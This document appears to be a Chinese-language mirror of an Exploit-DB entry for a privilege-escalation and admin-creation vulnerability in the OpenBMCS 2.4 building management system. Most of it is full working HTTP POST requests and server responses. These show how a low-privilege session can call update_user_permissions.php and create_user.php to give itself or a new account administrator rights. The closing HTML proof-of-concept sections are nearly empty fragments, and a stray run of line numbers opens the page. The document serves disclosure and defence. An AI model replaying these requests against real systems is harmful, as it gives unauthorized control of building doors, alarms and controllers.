OpenBMCS 2.4 – Create Admin / Remote Privilege Escalation

Exploit Database
111 阅读

作者： LiquidWorm

日期： 2022-01-18
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50669/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

# Exploit Title: OpenBMCS 2.4 - Create Admin / Remote Privilege Escalation

# Exploit Author: LiquidWorm

# Date: 26/10/2021

OpenBMCS 2.4 Create Admin / Remote Privilege Escalation

Vendor: OPEN BMCS

Product web page: https://www.openbmcs.com

Affected version: 2.4

Summary: Building Management & Controls System (BMCS). No matter what the

size of your business, the OpenBMCS software has the ability to expand to

hundreds of controllers. Our product can control and monitor anything from

a garage door to a complete campus wide network, with everything you need

on board.

Desc: The application suffers from an insecure permissions and privilege

escalation vulnerability. A regular user can create administrative users

and/or elevate her privileges by sending an HTTP POST request to specific

PHP scripts in '/plugins/useradmin/' directory.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)

Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)

Apache/2.4.41 (Ubuntu)

Apache/2.4.25 (Debian)

nginx/1.16.1

PHP/7.4.3

PHP/7.0.33-0+deb9u9

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2022-5693

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php

26.10.2021

List current ID and permissions (read):

---------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1

Host: 192.168.1.222

Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4

Content-Length: 16

Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36

Sec-Ch-Ua-Platform: "Windows"

Origin: https://192.168.1.222

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://192.168.1.222/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

id_list%5B%5D=17

HTTP/1.1 200 OK

Date: Tue, 16 Nov 2021 20:56:53 GMT

Server: Apache/2.4.41 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 692

Connection: close

Content-Type: text/html; charset=UTF-8

[{"user_id":"17","username":"testingus","email":"","expiry_date":null,"fullname":"test","phone":"","module_id":"useradmin","usermodule_permission":"1","permissions":[{"user_id":"17","module_id":"alarms","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"controllers","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"core","permissions":"0","mod_home":"0"},{"user_id":"17","module_id":"graphics","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"history","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"progtool","permissions":"1","mod_home":"0"},{"user_id":"17","module_id":"useradmin","permissions":"1","mod_home":"0"}],"human-date":""}]

List current ID and permissions (admin):

----------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1

Host: 192.168.1.222

Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4

Content-Length: 16

Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36

Sec-Ch-Ua-Platform: "Windows"

Origin: https://192.168.1.222

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://192.168.1.222/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

id_list%5B%5D=18

HTTP/1.1 200 OK

Date: Tue, 16 Nov 2021 20:56:36 GMT

Server: Apache/2.4.41 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 725

Connection: close

Content-Type: text/html; charset=UTF-8

[{"user_id":"18","username":"testingus2","email":"testingus@test.tld","expiry_date":null,"fullname":"TestName","phone":"1112223333","module_id":"useradmin","usermodule_permission":"4","permissions":[{"user_id":"18","module_id":"alarms","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"controllers","permissions":"2","mod_home":"1"},{"user_id":"18","module_id":"core","permissions":"1","mod_home":"0"},{"user_id":"18","module_id":"graphics","permissions":"4","mod_home":"1"},{"user_id":"18","module_id":"history","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"progtool","permissions":"3","mod_home":"0"},{"user_id":"18","module_id":"useradmin","permissions":"4","mod_home":"0"}],"human-date":""}]

Escalate privileges:

--------------------

POST /plugins/useradmin/update_user_permissions.php HTTP/1.1

Host: 192.168.1.222

Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4

Content-Length: 702

Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36

Sec-Ch-Ua-Platform: "Windows"

Origin: https://192.168.1.222

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://192.168.1.222/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5BmoduleID%5D=useradmin&id=17

HTTP/1.1 200 OK

Date: Tue, 16 Nov 2021 20:58:48 GMT

Server: Apache/2.4.41 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 1

Connection: close

Content-Type: text/html; charset=UTF-8

Create admin from read user:

----------------------------

POST /plugins/useradmin/create_user.php HTTP/1.1

Host: 192.168.1.222

Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4

Content-Length: 1010

Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36

Sec-Ch-Ua-Platform: "Windows"

Origin: https://192.168.1.222

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://192.168.1.222/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

user%5Busername%5D=testingus2&user%5Bfullname%5D=TestName&user%5Bphone%5D=1112223333&user%5Bpassword%5D=Password123&user%5BpasswordConfirm%5D=Password123&user%5Bemail%5D=testingus%40test.tld&user%5Bexpiry%5D=&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5Bmod_home%5D=0&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5Bmod_home%5D=0&permissions%5B6%5D%5BmoduleID%5D=useradmin&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5Bmod_home%5D=0

HTTP/1.1 200 OK

Date: Tue, 16 Nov 2021 20:18:58 GMT

Server: Apache/2.4.41 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 20

Connection: close

Content-Type: text/html; charset=UTF-8

{"status":"success"}

PoC escalate from editor to admin:

----------------------------------

<html>

<body>

</form>

</body>

</html>

PoC create admin from editor:

-----------------------------

<html>

<body>

</form>

</body>

</html>